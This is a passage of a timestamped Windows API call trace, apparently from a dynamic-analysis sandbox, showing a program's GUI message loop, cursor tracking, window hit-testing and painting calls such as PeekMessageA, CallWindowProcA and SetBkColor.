(lpMsg=0x18ff1c) returned 0 [0284.599] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.599] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0284.600] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.600] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.600] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.600] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0284.600] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x65040ba2, lParam=0x0) returned 0x1 [0284.600] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0284.600] GetSysColor (nIndex=8) returned 0x0 [0284.600] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0284.600] GetSysColor (nIndex=5) returned 0xffffff [0284.600] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0284.601] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0284.601] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0284.601] WindowFromPoint (Point=0x371) returned 0x1035a [0284.601] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fa0371) returned 0x1 [0284.601] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0284.601] GetCurrentProcessId () returned 0x8d0 [0284.601] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0284.601] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0284.602] GetCapture () returned 0x0 [0284.602] WaitMessage () returned 1 [0284.662] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.662] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.662] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.662] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0284.662] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.662] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.662] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.663] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0284.663] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x740401c5, lParam=0x0) returned 0x1 [0284.663] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0284.663] GetSysColor (nIndex=8) returned 0x0 [0284.663] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0284.663] GetSysColor (nIndex=5) returned 0xffffff [0284.663] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0284.664] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0284.664] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0284.664] WindowFromPoint (Point=0x36f) returned 0x1035a [0284.664] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb036f) returned 0x1 [0284.664] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0284.664] GetCurrentProcessId () returned 0x8d0 [0284.664] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0284.664] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0284.664] GetCapture () returned 0x0 [0284.664] WaitMessage () returned 1 [0284.725] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.725] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.725] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.725] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0284.725] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0284.725] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0284.726] WindowFromPoint (Point=0x371) returned 0x1035a [0284.726] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f20371) returned 0x1 [0284.726] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0284.726] GetCurrentProcessId () returned 0x8d0 [0284.726] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0284.726] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0284.726] GetCapture () returned 0x0 [0284.726] WaitMessage () returned 1 [0284.775] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.775] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.775] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.775] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0284.775] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0284.775] WindowFromPoint (Point=0x371) returned 0x1035a [0284.775] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fa0371) returned 0x1 [0284.775] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0284.775] GetCurrentProcessId () returned 0x8d0 [0284.775] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0284.775] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0284.775] GetCapture () returned 0x0 [0284.776] WaitMessage () returned 1 [0284.794] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.794] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.794] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.794] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0284.795] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0284.795] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0284.795] WindowFromPoint (Point=0x372) returned 0x1035a [0284.795] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0284.795] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0284.795] GetCurrentProcessId () returned 0x8d0 [0284.795] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0284.795] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0284.795] GetCapture () returned 0x0 [0284.795] WaitMessage () returned 1 [0284.885] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.886] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.886] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.886] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0284.886] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0284.886] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0284.886] WindowFromPoint (Point=0x371) returned 0x1035a [0284.887] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fa0371) returned 0x1 [0284.887] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0284.887] GetCurrentProcessId () returned 0x8d0 [0284.887] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0284.887] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0284.887] GetCapture () returned 0x0 [0284.887] WaitMessage () returned 1 [0284.952] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.952] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.952] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.952] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0284.952] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0284.952] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0284.952] WindowFromPoint (Point=0x371) returned 0x1035a [0284.952] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f80371) returned 0x1 [0284.953] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0284.953] GetCurrentProcessId () returned 0x8d0 [0284.953] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0284.953] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0284.953] GetCapture () returned 0x0 [0284.953] WaitMessage () returned 1 [0285.012] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.012] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.012] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.012] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0285.012] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.012] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0285.013] WindowFromPoint (Point=0x359) returned 0x1035a [0285.013] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f60359) returned 0x1 [0285.013] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.013] GetCurrentProcessId () returned 0x8d0 [0285.013] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.013] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.013] GetCapture () returned 0x0 [0285.013] WaitMessage () returned 1 [0285.028] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.028] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.028] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.028] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.028] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0285.028] WindowFromPoint (Point=0x371) returned 0x1035a [0285.028] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fa0371) returned 0x1 [0285.028] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.029] GetCurrentProcessId () returned 0x8d0 [0285.029] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.029] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.029] GetCapture () returned 0x0 [0285.029] WaitMessage () returned 1 [0285.073] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.073] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.073] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.073] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0285.074] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.074] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0285.074] WindowFromPoint (Point=0x374) returned 0x1035a [0285.074] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f70374) returned 0x1 [0285.074] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.074] GetCurrentProcessId () returned 0x8d0 [0285.074] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.074] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.074] GetCapture () returned 0x0 [0285.074] WaitMessage () returned 1 [0285.138] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.138] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.138] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.138] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0285.138] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.138] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0285.138] WindowFromPoint (Point=0x371) returned 0x1035a [0285.139] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fa0371) returned 0x1 [0285.139] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.139] GetCurrentProcessId () returned 0x8d0 [0285.139] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.139] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.139] GetCapture () returned 0x0 [0285.139] WaitMessage () returned 1 [0285.171] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.171] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.171] DispatchMessageA (lpMsg=0x18ff1c) returned 0x5a6c00 [0285.171] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.171] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.171] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.171] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0285.171] IsIconic (hWnd=0xc0060) returned 0 [0285.172] IsIconic (hWnd=0xc0060) returned 0 [0285.172] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0285.172] FillRect (hDC=0x3e01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0285.172] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3e01069e, lParam=0x4) returned 0x0 [0285.172] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3e01069e, lParam=0x10340) returned 0xe100186 [0285.172] GetSysColor (nIndex=8) returned 0x0 [0285.172] SetTextColor (hdc=0x3e01069e, color=0x0) returned 0x0 [0285.172] GetSysColor (nIndex=15) returned 0xf0f0f0 [0285.172] SetBkColor (hdc=0x3e01069e, color=0xf0f0f0) returned 0xf0f0f0 [0285.172] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0285.172] GetCurrentProcessId () returned 0x8d0 [0285.172] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0285.172] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0285.172] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0285.172] GetCurrentProcessId () returned 0x8d0 [0285.172] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0285.173] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0285.173] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0285.173] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0285.173] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0285.174] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.174] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0285.174] WindowFromPoint (Point=0x36f) returned 0x1035a [0285.174] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f8036f) returned 0x1 [0285.174] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.174] GetCurrentProcessId () returned 0x8d0 [0285.174] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.174] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.174] GetCapture () returned 0x0 [0285.174] WaitMessage () returned 1 [0285.238] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.238] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.238] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.239] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0285.239] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.239] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0285.239] WindowFromPoint (Point=0x375) returned 0x1035a [0285.239] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f10375) returned 0x1 [0285.239] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.239] GetCurrentProcessId () returned 0x8d0 [0285.239] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.239] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.239] GetCapture () returned 0x0 [0285.239] WaitMessage () returned 1 [0285.301] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.301] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.301] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.301] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0285.301] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.301] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0285.301] WindowFromPoint (Point=0x371) returned 0x1035a [0285.302] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fa0371) returned 0x1 [0285.302] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.302] GetCurrentProcessId () returned 0x8d0 [0285.302] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.302] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.302] GetCapture () returned 0x0 [0285.302] WaitMessage () returned 1 [0285.367] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.367] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.367] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.367] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0285.367] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.367] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0285.368] WindowFromPoint (Point=0x36f) returned 0x1035a [0285.368] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fa036f) returned 0x1 [0285.368] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.368] GetCurrentProcessId () returned 0x8d0 [0285.368] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.368] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.368] GetCapture () returned 0x0 [0285.368] WaitMessage () returned 1 [0285.394] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.394] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2030366) returned 0x1 [0285.395] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=870, y=515)) returned 1 [0285.395] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0285.395] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.395] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.395] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.395] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.395] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.395] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.395] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.395] GetCapture () returned 0x0 [0285.395] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0285.395] WindowFromPoint (Point=0x366) returned 0x1035a [0285.395] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2030366) returned 0x1 [0285.396] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0285.396] GetCurrentProcessId () returned 0x8d0 [0285.396] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.396] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0285.396] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xb60167) returned 0x0 [0285.396] GetKeyState (nVirtKey=18) returned 1 [0285.396] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.396] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=870, y=515)) returned 1 [0285.396] WindowFromPoint (Point=0x368) returned 0x1035a [0285.396] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2010368) returned 0x1 [0285.396] GetWindowThreadProcessId (in: 